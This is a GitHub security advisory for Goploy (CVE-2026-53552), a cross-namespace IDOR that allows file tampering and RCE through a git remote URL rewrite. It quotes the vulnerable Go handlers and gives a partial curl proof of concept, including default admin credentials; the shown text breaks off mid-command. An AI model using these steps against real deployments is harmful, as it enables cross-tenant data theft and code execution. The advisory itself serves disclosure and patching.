GitHub Advisoryadvisory · Go
GHSA-26rh-24rg-j3vv Goploy: Cross-namespace IDOR and RCE via body-supplied row id in project and project_file handlers
CRITICAL
Official page ↗
- Aliases
- CVE-2026-53552
- Ecosystem
- Go
- Packages
- github.com/zhenorzz/goploy
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
- Weaknesses
- CWE-639, CWE-863
- Reviewed
- 2026-07-07
Affected packages
• Go github.com/zhenorzz/goploy: < 1.18.0 → fixed in 1.18.0
Description
Summary
`Project.AddFile`, `Project.EditFile`, `Project.RemoveFile`, and `Project.Edit` in `cmd/server/api/project/handler.go` accept a project or project-file row id from the JSON body and act on it without checking that the project belongs to the caller's namespace. The corresponding `model.ProjectFile.GetData` and `model.Project.GetData` queries filter only by row id. A user holding the `manager` role (or any role that includes the `FileSync` / `EditProject` permission) in their own namespace can read, write, or delete files in any project across the install, and can rewrite any project's git remote URL by submitting the foreign id in the body. The git-URL primitive escalates to RCE on the next deploy because `Edit` runs `git remote set-url` on the project's working tree.
Affected
`zhenorzz/goploy` `develop` HEAD as of 2026-05-27. Verified against the `zhenorzz/goploy:1.17.5` Docker image (`docker.io/zhenorzz/goploy@sha256:69d08e1d16d7a7167426c89456c4bcef8e077a16554a4067ff258fff26d5cd44`).
The four handlers and the model lookups have been in this shape across the file API and project metadata API.
Vulnerable code
`cmd/server/api/project/handler.go::AddFile` (creates file under any project's directory; body controls `projectId`):
```go
func (Project) AddFile(gp *server.Goploy) server.Response {
type ReqData struct {
ProjectID int64 `json:"projectId" validate:"required,gt=0"`
Content string `json:"content" validate:"required"`
Filename string `json:"filename" validate:"required"`
}
var reqData ReqData
if err := gp.Decode(&reqData); err != nil { ... }
filePath := path.Join(config.GetProjectFilePath(reqData.ProjectID), reqData.Filename)
// ... os.Create(filePath); file.WriteString(reqData.Content)
id, err := model.ProjectFile{ProjectID: reqData.ProjectID, Filename: reqData.Filename}.AddRow()
}
```
`cmd/server/api/project/handler.go::EditFile` (overwrites file content; body controls file id, server derives project from the file row):
```go
func (Project) EditFile(gp *server.Goploy) server.Response {
type ReqData struct {
ID int64 `json:"id" validate:"required,gt=0"`
Content string `json:"content" validate:"required"`
}
var reqData ReqData
if err := gp.Decode(&reqData); err != nil { ... }
projectFileData, err := model.ProjectFile{ID: reqData.ID}.GetData()
// ... os.Create(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename))
file.WriteString(reqData.Content)
}
```
`cmd/server/api/project/handler.go::RemoveFile` (deletes file row + on-disk file by body id):
```go
func (Project) RemoveFile(gp *server.Goploy) server.Response {
type ReqData struct {
ProjectFileID int64 `json:"projectFileId" validate:"required,gt=0"`
}
var reqData ReqData
if err := gp.Decode(&reqData); err != nil { ... }
projectFileData, err := model.ProjectFile{ID: reqData.ProjectFileID}.GetData()
if err := os.Remove(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename)); err != nil { ... }
}
```
`cmd/server/api/project/handler.go::Edit` (updates any project's metadata; on URL change runs `git remote set-url` in the project working tree):
```go
func (Project) Edit(gp *server.Goploy) server.Response {
// ... ReqData has ID, Name, URL, Branch, Script, etc.
projectData, err := model.Project{ID: reqData.ID}.GetData()
model.Project{ID: reqData.ID, Name: reqData.Name, URL: reqData.URL, ...}.EditRow()
if reqData.URL != projectData.URL {
srcPath := config.GetProjectPath(projectData.ID)
cmd := exec.Command("git", "remote", "set-url", "origin", reqData.URL)
cmd.Dir = srcPath
}
}
```
`internal/model/project_file.go::ProjectFile.GetData` filters only by row id, no namespace join:
```go
func (pf ProjectFile) GetData() (ProjectFile, error) {
err := sq.
Select("id, project_id, filename, insert_time, update_time").
From(projectFileTable).
Where(sq.Eq{"id": pf.ID}).
...
}
```
`internal/server/route.go::Route.hasPermission` checks only namespace-level permission ids; nothing in the request flow verifies that the body-supplied project id belongs to `gp.Namespace.ID`:
```go
func (r Route) hasPermission(permissionIDs map[int64]struct{}) error {
if len(r.permissionIDs) == 0 { return nil }
for _, permissionID := range r.permissionIDs {
if _, ok := permissionIDs[permissionID]; ok { return nil }
}
return errors.New("no permission")
}
```
Reachable
Any logged-in user assigned the `manager` role in their own namespace can call `/project/addFile`, `/project/editFile`, `/project/removeFile`, and `/project/edit`. The seeded `manager` role (`role.id = 1`) is granted both `FileSync` (`permission.id = 68`) and `EditProject` (`permission.id = 17`) by `database/goploy.sql`. Multi-tenant deployments typically assign `manager` to each tenant's project owner; once a tenant's manager holds these permissions in their own namespace, they hold them globally for these four endpoints.
Proof of concept
Setup against the published Docker image:
```bash
docker network create goploy-net
docker run -d --name goploy-mysql --network goploy-net \
-e MYSQL_ROOT_PASSWORD=goploy123 -e MYSQL_DATABASE=goploy \
mysql:8.0 --default-authentication-plugin=mysql_native_password
Wait for MySQL, then load schema
docker cp database/goploy.sql goploy-mysql:/tmp/goploy.sql
docker exec goploy-mysql sh -c 'mysql -uroot -pgoploy123 goploy < /tmp/goploy.sql'
Mount goploy.toml pointing DB at goploy-mysql:3306
docker run -d --name goploy-app --network goploy-net -p 18080:80 \
-v $PWD/repo:/opt/goploy/repository \
zhenorzz/goploy:1.17.5
```
Set up two namespaces and two non-super-manager users, each assigned `manager` (role_id=1) only in their own namespace:
```bash
Admin login (default account admin / admin!@# requires first-login change)
curl -s -c /tmp/admin.jar -X POST http://localhost:18080/user/login \
-H 'Content-Type: application/json' \
-d '{"account":"admin","password":"admin!@#","newPassword":"Admin!@#2026"}'
ADMIN_HDR='-b /tmp/admin.jar -H G-N-ID:1 -H Content-Type:application/json'
Create NS_B
curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/add -d '{"name":"ns_b"}'
→ {"data":{"id":2}}
Create alice (id=2) and bob (id=3)
curl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \
-d '{"account":"alice","password":"Alice!@#2026","name":"Alice","contact":"","superManager":0}'
curl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \
-d '{"account":"bob","password":"Bob!@#2026","name":"Bob","contact":"","superManager":0}'
Assign alice → NS_A (id=1), bob → NS_B (id=2), both as manager (role_id=1)
curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \
-d '{"namespaceId":1,"userIds":[2],"roleId":1}'
curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \
-d '{"namespaceId":2,"userIds":[3],"roleId":1}'
As admin in NS_A, create project alice-prod (id=1) with file alice-secrets.yml (id=1)
curl -s $ADMIN_HDR -X POST http://localhost:18080/project/add \
-d '{"name":"alice-prod","repoType":"git","url":"https://github.com/zhenorzz/goploy.git",
"path":"/tmp/deploy/alice","environment":1,"branch":"master","transferType":"rsync",
"transferOption":"-rtv","deployServerMode":"serial",
"script":{"afterPull":{"mode":"","content":""},"afterDeploy":{"mode":"","content":""},
"deployFinish":{"mode":"","content":""}}}'
curl -s $ADMIN_HDR -X POST http://localhost:18080/project/addFile \
-d '{"projectId":1,"filename":"alice-secrets.yml","content":"# Alice secret\napi_key: ALICE_API_KEY_2026\n"}'
Bob logs in (first-login change)
curl -s -c /tmp/bob.jar -X POST http://localhost:18080/user/login \
-H 'Content-Type: application/json' \
-d '{"account":"bob","password":"Bob!@#2026","newPassword":"B…
Related
Alias · CVE (1)
- CVE-2026-53552 Goploy is an open-source automation deployment system. vulnerability
References
- https://github.com/zhenorzz/goploy/security/advisories/GHSA-26rh-24rg-j3vv web
- https://nvd.nist.gov/vuln/detail/CVE-2026-53552 advisory
- https://github.com/zhenorzz/goploy/commit/b49eabe903c7d7df1a3763385f5067676da4fdd3 web
- https://github.com/zhenorzz/goploy package
- https://github.com/zhenorzz/goploy/releases/tag/v1.18.0 web